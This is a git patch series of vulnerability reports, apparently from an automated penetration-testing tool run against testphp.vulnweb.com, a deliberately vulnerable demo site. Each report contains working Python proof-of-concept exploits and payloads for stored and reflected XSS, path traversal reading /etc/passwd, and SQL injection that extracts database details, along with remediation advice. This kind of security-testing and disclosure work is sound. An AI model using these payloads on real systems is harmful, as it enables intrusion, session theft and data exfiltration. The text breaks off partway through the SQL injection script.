/xssprobe?ts=TOKEN, confirming the onerror handler executed. + +Notes +- The IMG src is intentionally invalid, ensuring the onerror handler runs reliably. +- Different tokens will reproduce the behavior consistently. + +``` +#!/usr/bin/env python3 +""" +Reflected XSS PoC for POST /search.php (action includes query param test=query) +- Submits a tokenized IMG/onerror payload via 'searchFor' +- Confirms unsanitized reflection in HTML response +- Provides instructions to verify DOM marker and /xssprobe beacon in a real browser +""" + +import time +import requests + +BASE = "http://testphp.vulnweb.com" +ENDPOINT = f"{BASE}/search.php?test=query" + +def exploit(token: str | None = None) -> dict: + if token is None: + token = str(int(time.time() * 1000)) + + payload = f"" + data = { + "searchFor": payload, + "goButton": "go" + } + + resp = requests.post(ENDPOINT, data=data, timeout=15) + reflected = ("onerror=" in resp.text) and (token in resp.text) + + print("[*] POSTed to:", ENDPOINT) + print("[*] Status:", resp.status_code, "Length:", len(resp.text)) + if reflected: + print("[+] Payload appears unsanitized in server HTML (reflection detected).") + else: + print("[!] Reflection not obvious in raw HTML; execution is still expected in a browser context.") + + print("[*] Token:", token) + print("[*] Manual verification:") + print(f" - Open the application UI and submit the same payload to trigger JS execution") + print(f" - Inspect the DOM for body[xss_search=\"{token}\"]") + print(f" - Observe the browser request to /xssprobe?ts={token}") + + return { + "status": resp.status_code, + "length": len(resp.text), + "token": token, + "reflected_in_html": reflected + } + +if __name__ == "__main__": + exploit() +``` + +## Remediation + +Implement layered defenses: +1) Contextual output encoding + - HTML-encode all user-controlled data before inserting into HTML (e.g., use htmlspecialchars/ENT_QUOTES in PHP templates). + - Apply the correct encoder per sink (HTML, attribute, URL, JavaScript). + +2) Input handling + - Reject or sanitize active content (HTML tags/attributes) where rich text is not required. + - If rich text is needed, use a vetted HTML sanitizer with a strict allowlist. + +3) Content Security Policy (CSP) + - Enforce a strict CSP that disallows inline scripts and event handlers; use nonces or hashes for allowed scripts. + - Deny data: and javascript: URL schemes. + +4) Security testing and regression + - Add automated tests to assert that search results encode user input safely. + - Review adjacent features for similar reflection patterns. + +5) Incident hygiene + - Monitor and purge any stored or cached malicious payloads that may be re-served to users. + diff --git a/strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0005.md b/strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0005.md new file mode 100644 index 0000000..8979322 --- /dev/null +++ b/strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0005.md @@ -0,0 +1,125 @@ +# Path Traversal (Local File Inclusion) in /showimage.php 'file' parameter allows arbitrary local file read + +**ID:** vuln-0005 +**Severity:** HIGH +**Found:** 2026-03-08 19:47:21 UTC +**Target:** http://testphp.vulnweb.com +**Endpoint:** /showimage.php +**Method:** GET +**CWE:** CWE-22 +**CVSS:** 7.5 + +## Description + +The image-serving endpoint exposes a Local File Inclusion (path traversal) vulnerability. The GET parameter 'file' is used server-side to read and stream a file back to the client without proper canonicalization or allowlisting. By supplying traversal sequences, an unauthenticated attacker can coerce the server to read sensitive files outside the intended images directory. + +Evidence collected through the testing proxy confirms successful disclosure of /etc/passwd and error messages indicating unsafe file handling with PHP functions (fopen/fpassthru). The issue is reachable without authentication and requires no user interaction. + +## Impact + +Exploitation enables arbitrary file read from the server filesystem within the PHP runtime’s accessible paths, exposing: +- Operating system and service accounts (/etc/passwd) +- Application source code, configuration files, credentials, and keys +- Infrastructure details from error messages (absolute paths, stack locations) + +This materially increases the risk of full application compromise via credential/key leakage, environment reconnaissance, and chained attacks (e.g., reading database credentials or API keys). Business impact includes data exposure, lateral movement potential, and reputational harm. + +## Technical Analysis + +Additional evidence excerpts (for reference): +- ID 486 response snippet (../../etc/passwd): + "root:x:0:0:root:/root:/bin/bash" +- ID 487 response snippet (../../../../../etc/hosts): + "Warning: fopen(): open_basedir restriction in effect ... in /hj/var/www/showimage.php on line 13" +- ID 488 wrapper attempt: + Request accepted (200) but no readable body returned. + +## Proof of Concept + +To reproduce: + +1) Baseline control + - Send: GET /showimage.php?file=images/logo.gif + - Observe: 200 OK, image content + +2) Read a sensitive file using path traversal + - Send: GET /showimage.php?file=../../etc/passwd + - Expect: 200 OK with text content containing “root:x:0:0:root:/root:/bin/bash” and other passwd entries + +3) Optional additional evidence + - Send: GET /showimage.php?file=../../../../../etc/hosts + - Observe: 200 OK with PHP warnings indicating fopen/fpassthru and an open_basedir message disclosing the script path (e.g., “/hj/var/www/showimage.php on line 13”) + +Notes +- Evidence gathered via proxy: Baseline ID 483; /etc/passwd read at ID 486; /etc/hosts warnings at ID 487; wrapper attempt at ID 488. + +``` +import requests +from urllib.parse import urljoin + +BASE = "http://testphp.vulnweb.com" +ENDPOINT = "/showimage.php" +TIMEOUT = 15 + +def fetch(path_param: str) -> tuple[int, str, int, str]: + url = urljoin(BASE, ENDPOINT) + resp = requests.get(url, params={"file": path_param}, timeout=TIMEOUT) + status = resp.status_code + ctype = resp.headers.get("Content-Type", "") + body = resp.text + length = len(body) + snippet = body[:300].replace("\n", "\\n") + return status, ctype, length, snippet + +def main() -> int: + print("[*] Baseline request") + s, t, l, sn = fetch("images/logo.gif") + print(f"Status={s} Type={t} Length={l}") + + print("[*] Attempting LFI: ../../etc/passwd") + s2, t2, l2, sn2 = fetch("../../etc/passwd") + print(f"Status={s2} Type={t2} Length={l2}") + print("Snippet:", sn2) + if "root:x:0:0:" in sn2 or "/bin/bash" in sn2: + print("[+] LFI confirmed: passwd markers detected") + else: + print("[-] passwd markers not found (check full body manually)") + + print("[*] Optional: probing etc/hosts for warning/path leakage") + s3, t3, l3, sn3 = fetch("../../../../../etc/hosts") + print(f"Status={s3} Type={t3} Length={l3}") + print("Snippet:", sn3) + + return 0 + +if __name__ == "__main__": + raise SystemExit(main()) +``` + +## Remediation + +Implement strict path handling and remove user control over file system paths: + +1) Replace path-based fetching with identifier-based retrieval + - Store media in a fixed directory or object storage. + - Accept an ID or filename key; look up the canonical path server-side. + +2) Canonicalize and enforce directory bounds + - Resolve the requested filename using realpath/canonicalize. + - Verify the resolved path starts with the intended media root (e.g., /var/app/media/). + - Reject any request that does not remain within the allowlisted directory. + +3) Deny dangerous inputs and wrappers + - Explicitly block traversal sequences (“../”, “..\\”), absolute paths, and path control characters. + - Disallow PHP stream wrappers (php://, file://, expect://, zip://) at the application layer. + +4) Enforce a positive allowlist + - Only serve files with approved extensions (e.g., .jpg, .png) and map to known files. + +5) Defense in depth + - Ensure open_basedir and filesystem permissions prevent reading outside the media root. + - Return safe content types and set X-Content-Type-Options: nosniff. + - Log and alert on blocked traversal attempts; add unit/integration tests for traversal cases. + +After deploying fixes, retest using the same payloads to verify that ../../etc/passwd and other traversal inputs are rejected with 4xx responses and no sensitive data is returned. + diff --git a/strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0006.md b/strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0006.md new file mode 100644 index 0000000..8c7c6d5 --- /dev/null +++ b/strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0006.md @@ -0,0 +1,163 @@ +# Reflected XSS in /hpp/params.php 'p' parameter (single and duplicate-key HPP variants) + +**ID:** vuln-0006 +**Severity:** MEDIUM +**Found:** 2026-03-08 19:47:23 UTC +**Target:** http://testphp.vulnweb.com +**Endpoint:** /hpp/params.php +**Method:** GET +**CWE:** CWE-79 +**CVSS:** 6.1 + +## Description + +A reflected cross-site scripting (XSS) vulnerability exists in the GET parameter "p" of /hpp/params.php. The application reflects the value of "p" into the HTML response without context-appropriate output encoding, allowing an attacker to inject HTML/JavaScript that executes in the victim’s browser. + +Two exploitation modes were validated: +1) Single-parameter injection: Supplying a crafted value for p directly leads to script execution via an IMG onerror event. +2) HTTP Parameter Pollution (HPP) duplicate-key variant: Supplying multiple p parameters (e.g., p=safe&p={payload}) results in the last p value being used and reflected, enabling XSS even when earlier values appear benign. + +Execution was confirmed by setting a DOM marker (body attribute) and observing a tokenized network beacon from the victim’s browser to the target host, demonstrating reliable exploitation. + +## Impact + +Successful exploitation allows arbitrary JavaScript execution in the victim’s browser within the context of the target origin. An attacker can steal session identifiers and sensitive data, perform unauthorized actions on behalf of the user, deface content, and pivot to further attacks (e.g., CSRF chaining). + +The duplicate-parameter (HPP) variant increases practical exploitability by bypassing naive server-side parsing or upstream defenses that examine only the first occurrence of a parameter. Targeted phishing or link-sharing is sufficient to trigger exploitation (user interaction: click/follow a link). + +## Technical Analysis + +Root cause +- The endpoint /hpp/params.php reflects the GET parameter "p" into the HTML response without applying context-appropriate output encoding/sanitization. This enables injection of HTML attributes and event handlers (e.g., IMG onerror), which execute in the victim’s browser. + +Confirmed behaviors +- Reflection: The raw content of p is echoed in the page, including HTML/JS payloads. +- Duplicate parameter handling: When multiple p parameters are supplied, the last value is used (“last wins”), enabling HPP-based XSS (e.g., p=safe&p={payload}). +- Execution evidence: A tokenized payload set a DOM attribute on (hppxss=TOKEN) and triggered a browser fetch to a tokenized URL, confirming JavaScript execution. + +Proxy evidence (captured during validation) +- Exploit request (single-parameter variant): Request ID 414 + Example path: /hpp/params.php?p="> +- Beacon confirming script execution: Request ID 416 + Path: /xssprobe?tok=1772998732392 (404 returned as expected by the target; presence in proxy confirms the onerror handler executed) + +Technical notes +- Reflection context allows attribute/event-handler injection; no CSP restrictions prevented inline event execution at the time of testing. +- The duplicate-key HPP vector (p=safe&p={payload}) yields the attacker-controlled value being reflected/executed, which can circumvent simplistic filtering or input validation that inspects only the first parameter occurrence. + +## Proof of Concept + +Reproduction (single-parameter variant) +1) Prepare a unique token (e.g., current timestamp). Example TOKEN=1772998732392. +2) Craft the URL: + http://testphp.vulnweb.com/hpp/params.php?p="> + Ensure the full payload is URL-encoded when delivering to victims. +3) Open the URL in a browser. +4) Observe: + - The DOM marker appears on (attribute hppxss=TOKEN). + - The browser issues a GET to /xssprobe?tok=TOKEN (visible in an intercepting proxy), confirming execution. + +Reproduction (duplicate-parameter HPP variant) +1) Use the same TOKEN. +2) Craft the URL: + http://testphp.vulnweb.com/hpp/params.php?p=safe&p="> +3) Open in a browser. +4) Observe the same effects as above (body attribute set; tokenized beacon captured in proxy). + +``` +import time +import sys +from urllib.parse import quote_plus +# Optional Selenium-based verification of DOM marker (requires: pip install selenium webdriver-manager) +try: + from selenium import webdriver + from selenium.webdriver.chrome.options import Options + from webdriver_manager.chrome import ChromeDriverManager + SELENIUM_AVAILABLE = True +except Exception: + SELENIUM_AVAILABLE = False + +BASE = "http://testphp.vulnweb.com" +ENDPOINT = "/hpp/params.php" + +def build_payload(token: str) -> str: + # IMG onerror sets a DOM attribute and triggers a tokenized beacon to confirm execution + return f'">' + +def build_urls(token: str): + payload = build_payload(token) + enc = quote_plus(payload) + single = f"{BASE}{ENDPOINT}?p={enc}" + dup = f"{BASE}{ENDPOINT}?p=safe&p={enc}" + return single, dup + +def selenium_verify(token: str, url: str) -> bool: + if not SELENIUM_AVAILABLE: + print("[!] Selenium not available. Skipping DOM verification step.") + return False + opts = Options() + # Headless Chrome; adjust as needed + opts.add_argument("--headless=new") + opts.add_argument("--disable-gpu") + opts.add_argument("--no-sandbox") + driver = webdriver.Chrome(ChromeDriverManager().install(), options=opts) + try: + driver.set_page_load_timeout(20) + driver.get(url) + # Check DOM marker placed by payload's onerror handler + val = driver.execute_script("return document.body && document.body.getAttribute('hppxss');") + print(f"[DOM] body[hppxss] = {val}") + return str(val) == str(token) + finally: + driver.quit() + +def main(): + token = str(int(time.time() * 1000)) + single, dup = build_urls(token) + print("[*] Reflected XSS PoC for /hpp/params.php 'p' parameter") + print(f"[*] Token: {token}") + print("[*] Single-parameter URL:") + print(single) + print("[*] Duplicate-parameter (HPP) URL:") + print(dup) + print() + print("[*] Open these URLs in a browser (or let Selenium navigate) to trigger the payload.") + print("[*] Expectation:") + print(" - DOM attribute body[hppxss] is set to the exact token.") + print(" - The browser issues GET /xssprobe?tok={token} (confirm via your intercepting proxy).") + print() + + # Attempt automated DOM verification with Selenium (optional) + ok_single = selenium_verify(token, single) + ok_dup = selenium_verify(token, dup) + + print(f"[RESULT] Single-param DOM marker match: {ok_single}") + print(f"[RESULT] Duplicate-param DOM marker match: {ok_dup}") + print() + print("[NOTE] The tokenized beacon to /xssprobe?tok={token} should appear in your proxy logs during execution.") + print(" This PoC does not rely on server-side responses beyond the reflection behavior.") + +if __name__ == "__main__": + sys.exit(main()) +``` + +## Remediation + +Apply a defense-in-depth remediation plan: +1) Context-aware output encoding + - Encode untrusted data before rendering in HTML. For plain HTML contexts, use server-side encoding equivalent to htmlspecialchars with ENT_QUOTES. For attribute/URL/JS contexts, apply the correct encoder for that sink. Never reflect raw parameter values. + +2) Strict parameter parsing and HPP hardening + - Do not rely on $_REQUEST; explicitly read from the intended source (GET for reads, POST for writes). + - Normalize and validate query parameters server-side; reject duplicate keys unless explicitly designed as arrays. If arrays are accepted, encode each element safely and avoid direct echoing. + +3) Input validation + - Enforce an allowlist for expected formats/types (e.g., alphanumerics with length limits) and reject payloads containing HTML/JS metacharacters for fields that should be plain text. + +4) Content Security Policy (CSP) + - Deploy a strict CSP to reduce impact if an encoding lapse occurs. Disallow inline script and event handlers (e.g., script-src with nonces/hashes and no 'unsafe-inline'). + +5) Security testing and regression coverage + - Add automated tests to verify that reflected parameters are safely encoded and that duplicate-key handling does not bypass validation/encoding layers. + - Monitor and alert on repeated access patterns containing suspicious characters (<>"' on parameters). + From 0d83b450d0f535631bb7f4cc44d73bcc02dc1a3d Mon Sep 17 00:00:00 2001 From: Vishnu Date: Mon, 9 Mar 2026 12:16:19 +0100 Subject: [PATCH 2/8] Delete strix_runs/testphp-vulnweb-com_0810 directory --- .../vulnerabilities.csv | 7 - .../vulnerabilities/vuln-0001.md | 140 ----------- .../vulnerabilities/vuln-0002.md | 218 ------------------ .../vulnerabilities/vuln-0003.md | 162 ------------- .../vulnerabilities/vuln-0004.md | 136 ----------- .../vulnerabilities/vuln-0005.md | 125 ---------- .../vulnerabilities/vuln-0006.md | 163 ------------- 7 files changed, 951 deletions(-) delete mode 100644 strix_runs/testphp-vulnweb-com_0810/vulnerabilities.csv delete mode 100644 strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0001.md delete mode 100644 strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0002.md delete mode 100644 strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0003.md delete mode 100644 strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0004.md delete mode 100644 strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0005.md delete mode 100644 strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0006.md diff --git a/strix_runs/testphp-vulnweb-com_0810/vulnerabilities.csv b/strix_runs/testphp-vulnweb-com_0810/vulnerabilities.csv deleted file mode 100644 index 6a52a2a..0000000 --- a/strix_runs/testphp-vulnweb-com_0810/vulnerabilities.csv +++ /dev/null @@ -1,7 +0,0 @@ -id,title,severity,timestamp,file -vuln-0002,SQL Injection in /artists.php 'artist' parameter enables data exfiltration (MySQL),CRITICAL,2026-03-08 19:35:38 UTC,vulnerabilities/vuln-0002.md -vuln-0001,Stored Cross-Site Scripting (XSS) in /guestbook.php allows arbitrary JavaScript execution,HIGH,2026-03-08 19:29:54 UTC,vulnerabilities/vuln-0001.md -vuln-0005,Path Traversal (Local File Inclusion) in /showimage.php 'file' parameter allows arbitrary local file read,HIGH,2026-03-08 19:47:21 UTC,vulnerabilities/vuln-0005.md -vuln-0003,Information Disclosure via Publicly Accessible Database Initialization Script at /admin/create.sql,MEDIUM,2026-03-08 19:42:11 UTC,vulnerabilities/vuln-0003.md -vuln-0004,Reflected Cross-Site Scripting (XSS) in POST /search.php ‘searchFor’ parameter,MEDIUM,2026-03-08 19:46:31 UTC,vulnerabilities/vuln-0004.md -vuln-0006,Reflected XSS in /hpp/params.php 'p' parameter (single and duplicate-key HPP variants),MEDIUM,2026-03-08 19:47:23 UTC,vulnerabilities/vuln-0006.md diff --git a/strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0001.md b/strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0001.md deleted file mode 100644 index c183c31..0000000 --- a/strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0001.md +++ /dev/null @@ -1,140 +0,0 @@ -# Stored Cross-Site Scripting (XSS) in /guestbook.php allows arbitrary JavaScript execution - -**ID:** vuln-0001 -**Severity:** HIGH -**Found:** 2026-03-08 19:29:54 UTC -**Target:** http://testphp.vulnweb.com -**Endpoint:** /guestbook.php -**Method:** POST, GET -**CWE:** CWE-79 -**CVSS:** 8.1 - -## Description - -The guestbook feature stores and renders user-supplied message content without proper output encoding or sanitization. By submitting an HTML IMG element with an onerror handler in the message body, the application saves the payload and later serves it to every visitor of the guestbook page. When the page is viewed, the browser executes the attacker-controlled JavaScript (stored XSS). - -This behavior was confirmed by posting a tokenized IMG/onerror payload and observing both a DOM mutation marker placed by the script and an HTTP request triggered by the payload, demonstrating real script execution in the victim’s browser context. - -## Impact - -Exploitation enables an attacker to execute arbitrary JavaScript in the context of victim users who view the guestbook page. Practical impact includes: -- Session hijacking, account takeover, or impersonation by exfiltrating session tokens or leveraging authenticated APIs -- Defacement, phishing overlays, keylogging, or malware delivery via drive-by actions -- CSRF chaining and privilege abuse by invoking sensitive in-application actions on behalf of victims -- Persistence of the malicious payload for all future visitors until manually removed - -Because the payload executes for every viewer, the blast radius includes privileged operators or administrators who visit the page. - -## Technical Analysis - -Root cause -The message body submitted to /guestbook.php is stored server-side and re-rendered into the HTML page without output encoding or HTML sanitization. As a result, attacker-controlled HTML and event handlers are inserted into the DOM and executed by browsers. - -Evidence collected (confirmed exploitability) -- Stored payload submissions: POST /guestbook.php requests recorded (IDs 191 and 207) contain the IMG/onerror payload in the text parameter. -- Runtime script execution: After submission and page reload, the DOM showed a runtime attribute set by the payload: body[xss_ts="1772997961884"]. -- Outbound indicator of execution: A browser-initiated GET /xssprobe?ts=1772997961884 was captured (request ID 193), which was issued by the payload’s onerror handler, confirming JavaScript execution. - -Render context -The payload is injected into the content area of the guestbook entry (HTML table cell). Inline event handlers (onerror) are permitted and executed, indicating no sanitization and no effective CSP blocking inline script/event attributes. - -## Proof of Concept - -To reproduce manually: -1) Navigate to http://testphp.vulnweb.com/guestbook.php -2) In the message textarea, submit the following payload and click “add message”: - -3) Reload or revisit the guestbook page. Observe that: - - The payload is stored and rendered in the page markup. - - The browser executes the onerror handler. Evidence may include a request to /xssprobe?ts=1772997961884 and the DOM attribute body[xss_ts="1772997961884"]. - -Notes: -- Request IDs 191 and 207 are example POST submissions that stored the payload. -- Request ID 193 shows the browser-initiated GET /xssprobe?ts=1772997961884 triggered by the payload, proving execution. - -``` -#!/usr/bin/env python3 -import time -import requests -from urllib.parse import urljoin - -BASE = "http://testphp.vulnweb.com" -GUESTBOOK = urljoin(BASE, "/guestbook.php") - -def submit_payload(session: requests.Session, token: str) -> requests.Response: - payload = ( - f"" - ) - # Send HTML directly (server reflects it as HTML) - # Some servers accept raw HTML; if HTML entities are preferred, use payload above as is - raw_payload = f"" - - data = { - "name": "anonymous user", - "text": raw_payload, - "submit": "add message", - } - return session.post(GUESTBOOK, data=data, timeout=15, allow_redirects=True) - -def verify_persistence(session: requests.Session, token: str) -> bool: - # Fetch the guestbook HTML and look for the token within the stored payload - r = session.get(GUESTBOOK, timeout=15) - if r.status_code != 200: - print(f"[!] Unexpected status fetching guestbook: {r.status_code}") - return False - - body = r.text - # Evidence 1: token present inside the rendered onerror payload - marker_in_html = (f"onerror=\"document.body.setAttribute('xss_ts','{token}')" in body) or (f"/xssprobe?ts={token}" in body) - - # (Optional) If you have a capturing proxy or server logs, you can also - # confirm a GET /xssprobe?ts={token} occurs when the page is viewed in a real browser. - return marker_in_html - -def main(): - s = requests.Session() - token = str(int(time.time() * 1000)) - print(f"[*] Using token: {token}") - print(f"[*] Submitting payload to: {GUESTBOOK}") - - resp = submit_payload(s, token) - print(f"[*] POST /guestbook.php -> {resp.status_code}") - - time.sleep(1.5) - print("[*] Verifying stored payload presence...") - ok = verify_persistence(s, token) - - if ok: - print("[+] Stored XSS confirmed. The payload with token is present in the page HTML.") - print(f"[+] When viewed in a browser, the onerror handler will execute and request /xssprobe?ts={token}.") - else: - print("[-] Could not find the tokenized payload in the HTML source. Try reloading or waiting a moment.") - -if __name__ == "__main__": - main() -``` - -## Remediation - -Server-side output encoding and sanitization -1) Treat all guestbook message content as untrusted. Encode output for the HTML context using a proven, framework-native encoder. In PHP: - - Echo user text with: htmlspecialchars($text, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') - - Do not allow inline HTML/event attributes from untrusted input unless passed through a strict HTML sanitizer (e.g., HTML Purifier) with a minimal safe allowlist and URI scheme restrictions. -2) Remove or refuse dangerous constructs (script tags, event handlers like onerror/onload, javascript: URLs, SVG/MathML active content) if rich text is not strictly required. Prefer plain text storage and rendering. - -Defense-in-depth -3) Enforce a strict Content Security Policy (CSP) to reduce XSS impact: - - script-src 'self' with nonces or hashes; disallow 'unsafe-inline' - - object-src 'none'; base-uri 'self' - - form-action 'self' -4) Normalize application character encoding to UTF-8 and consistently apply encoding routines at every sink. -5) Add server-side validation to block payloads containing HTML tags or event attributes if the feature does not require HTML. -6) Implement security testing and regression tests to verify no stored or reflected XSS is possible in rendering paths. - -Operational guidance -7) Remove any existing malicious guestbook entries from storage. -8) After fixes, perform a focused retest to ensure that stored HTML is either safely sanitized or encoded and that CSP effectively prevents execution of inline event handlers. - diff --git a/strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0002.md b/strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0002.md deleted file mode 100644 index 9a38ab4..0000000 --- a/strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0002.md +++ /dev/null @@ -1,218 +0,0 @@ -# SQL Injection in /artists.php 'artist' parameter enables data exfiltration (MySQL) - -**ID:** vuln-0002 -**Severity:** CRITICAL -**Found:** 2026-03-08 19:35:38 UTC -**Target:** http://testphp.vulnweb.com -**Endpoint:** /artists.php -**Method:** GET -**CWE:** CWE-89 -**CVSS:** 9.1 - -## Description - -A SQL Injection vulnerability was identified in the GET parameter "artist" of /artists.php on testphp.vulnweb.com. Systematic testing demonstrated: -- A reliable boolean-based oracle (content-length differential between true and false predicates). -- A reliable time-based oracle using MySQL SLEEP/IF constructs (~2s delay on true branch). -- In-band error-based extraction using MySQL XML error functions (EXTRACTVALUE/UPDATEXML) to retrieve database metadata. -- ORDER BY testing shows an anomaly at index 4, indicating a 3-column SELECT context. - -These behaviors confirm that the "artist" parameter is concatenated into a SQL query without proper parameterization, allowing attackers to influence the query logic and extract sensitive information server-side. - -## Impact - -Unauthenticated remote attackers can manipulate backend SQL queries and exfiltrate sensitive data. Confirmed capabilities include retrieving database version, current database, and DB user via in-band error messages. With additional enumeration, an attacker could: -- Read or infer records across application tables (customer data, credentials if stored inadequately) -- Bypass logical restrictions and pivot to broader database compromise -- Potentially perform UNION-based extraction depending on rendering context - -Business risk: High. Compromises confidentiality of data and can impact integrity if write paths are reachable. Regulatory exposure (privacy/data protection) and reputational damage are likely. - -## Technical Analysis - -Vulnerability location -- Endpoint: /artists.php -- Parameter: artist (GET) -- Database (exfiltrated): MySQL 8.0.22-0ubuntu0.20.04.2 -- Current DB: acuart -- DB user: acuart@localhost - -Observed oracles and evidence -- Boolean-based: - • Baseline (?artist=1): HTTP 200, length ≈ 6251 - • ?artist=1 AND 1=1 -- : HTTP 200, length ≈ 6251 (no change) - • ?artist=1 AND 1=2 -- : HTTP 200, length ≈ 4735 (significant decrease) - This deterministic length differential indicates predicate-controlled query behavior. - -- Time-based: - • ?artist=1 AND IF(1=1,SLEEP(2),0) -- → +~2000 ms vs baseline - • ?artist=1 AND IF(1=2,SLEEP(2),0) -- → ~baseline timing - Reliable server-side delays confirm execution of injected MySQL functions. - -- Error-based in-band exfiltration (XML functions): - • ?artist=1 AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e)) -- - Response contains: XPATH syntax error: '~8.0.22-0ubuntu0.20.04.2~' - • ?artist=1 AND EXTRACTVALUE(1,CONCAT(0x7e,DATABASE(),0x7e)) -- - Response contains: '~acuart~' - • ?artist=1 AND EXTRACTVALUE(1,CONCAT(0x7e,USER(),0x7e)) -- - Response contains: '~acuart@localhost~' - -- ORDER BY column count: - • ?artist=1 ORDER BY 1/2/3 -- → normal page size (≈ 6251) - • ?artist=1 ORDER BY 4 -- → error-sized page (≈ 2063) with SQL error pattern - This implies the underlying SELECT likely has 3 columns. - -UNION probe with 3 columns did not visibly alter rendering (same size as baseline), but injection is conclusively established via boolean/time/error oracles. - -Root cause -User-supplied "artist" is incorporated directly into an SQL statement (numeric context) without parameter binding. This enables boolean predicates, time delays, and use of MySQL XML functions for data leakage, demonstrating missing input sanitization and lack of prepared statements. - -## Proof of Concept - -Reproduction steps (unauthenticated): -1) Navigate to: - - Baseline - GET http://testphp.vulnweb.com/artists.php?artist=1 - Observe HTTP 200 and body length ≈ 6251. - -2) Boolean-based oracle - - True predicate - GET http://testphp.vulnweb.com/artists.php?artist=1%20AND%201%3D1%20--%20 - Expect: HTTP 200, length ≈ 6251 (no change from baseline). - - False predicate - GET http://testphp.vulnweb.com/artists.php?artist=1%20AND%201%3D2%20--%20 - Expect: HTTP 200, length ≈ 4735 (significant reduction). - -3) Time-based oracle - - True branch delay - GET http://testphp.vulnweb.com/artists.php?artist=1%20AND%20IF(1%3D1,SLEEP(2),0)%20--%20 - Expect: ~2s additional server-side delay vs baseline. - - False branch (no delay) - GET http://testphp.vulnweb.com/artists.php?artist=1%20AND%20IF(1%3D2,SLEEP(2),0)%20--%20 - Expect: ~baseline timing. - -4) Error-based in-band exfiltration (XML functions) - - Version - GET http://testphp.vulnweb.com/artists.php?artist=1%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))%20--%20 - Expect response containing: XPATH syntax error with '~8.0.22-0ubuntu0.20.04.2~' - - Current database - GET http://testphp.vulnweb.com/artists.php?artist=1%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,DATABASE(),0x7e))%20--%20 - Expect: '~acuart~' - - DB user - GET http://testphp.vulnweb.com/artists.php?artist=1%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,USER(),0x7e))%20--%20 - Expect: '~acuart@localhost~' - -5) ORDER BY column count confirmation - - GET http://testphp.vulnweb.com/artists.php?artist=1%20ORDER%20BY%203%20--%20 (normal length) - - GET http://testphp.vulnweb.com/artists.php?artist=1%20ORDER%20BY%204%20--%20 (error-sized page, SQL error pattern) - -``` -#!/usr/bin/env python3 -import requests -import time -import re - -BASE = "http://testphp.vulnweb.com/artists.php" - -HEADERS = { - "User-Agent": "Mozilla/5.0", - "Accept": "text/html,application/xhtml+xml", - "Connection": "close", -} - -def send(payload: str, timeout: float = 10.0): - t0 = time.perf_counter() - r = requests.get(BASE, params={"artist": payload}, headers=HEADERS, timeout=timeout) - dt = time.perf_counter() - t0 - return r, dt - -def extract_xpath(body: str): - # MySQL error text often: XPATH syntax error: '~VALUE~' - m = re.search(r"XPATH syntax error:\\s*'~([^']+)~'", body, re.IGNORECASE) - if not m: - m = re.search(r"XPATH syntax error:\\s*\"~([^\"]+)~\"", body, re.IGNORECASE) - if not m: - m = re.search(r"~([^~]{1,200})~", body) - return m.group(1) if m else None - -def main(): - print("Target:", BASE) - # 1) Baseline and boolean diffs - base_resp, base_dt = send("1") - true_resp, true_dt = send("1 AND 1=1 -- ") - false_resp, false_dt = send("1 AND 1=2 -- ") - - base_len = len(base_resp.text) - true_len = len(true_resp.text) - false_len = len(false_resp.text) - - print("\n[Boolean-based]") - print(f" baseline: status={base_resp.status_code}, len={base_len}, time_ms={int(base_dt*1000)}") - print(f" 1 AND 1=1 -- : status={true_resp.status_code}, len={true_len}, time_ms={int(true_dt*1000)}, delta_len={true_len-base_len}") - print(f" 1 AND 1=2 -- : status={false_resp.status_code}, len={false_len}, time_ms={int(false_dt*1000)}, delta_len={false_len-base_len}") - - # 2) Time-based oracles - t_true_resp, t_true_dt = send("1 AND IF(1=1,SLEEP(2),0) -- ") - t_false_resp, t_false_dt = send("1 AND IF(1=2,SLEEP(2),0) -- ") - print("\n[Time-based]") - print(f" IF(1=1,SLEEP(2),0): time_ms={int(t_true_dt*1000)} (delta={int((t_true_dt-base_dt)*1000)} ms)") - print(f" IF(1=2,SLEEP(2),0): time_ms={int(t_false_dt*1000)} (delta={int((t_false_dt-base_dt)*1000)} ms)") - - # 3) Error-based exfiltration - ver_resp, _ = send("1 AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e)) -- ") - db_resp, _ = send("1 AND EXTRACTVALUE(1,CONCAT(0x7e,DATABASE(),0x7e)) -- ") - user_resp, _ = send("1 AND EXTRACTVALUE(1,CONCAT(0x7e,USER(),0x7e)) -- ") - - version = extract_xpath(ver_resp.text) - database = extract_xpath(db_resp.text) - user = extract_xpath(user_resp.text) - - print("\n[Error-based extraction via XML functions]") - print(f" VERSION(): {version!r}") - print(f" DATABASE(): {database!r}") - print(f" USER(): {user!r}") - - # 4) ORDER BY column count confirmation (expect anomaly at 4) - ob3_resp, _ = send("1 ORDER BY 3 -- ") - ob4_resp, _ = send("1 ORDER BY 4 -- ") - print("\n[ORDER BY column count]") - print(f" ORDER BY 3: status={ob3_resp.status_code}, len={len(ob3_resp.text)}") - print(f" ORDER BY 4: status={ob4_resp.status_code}, len={len(ob4_resp.text)} (should trigger error text and size change)") - - # Optional UNION probe for 3 columns (may not visibly reflect data) - union_resp, _ = send("1 UNION ALL SELECT 1,2,3 -- ") - print("\n[UNION probe]") - print(f" UNION ALL SELECT 1,2,3 -- : 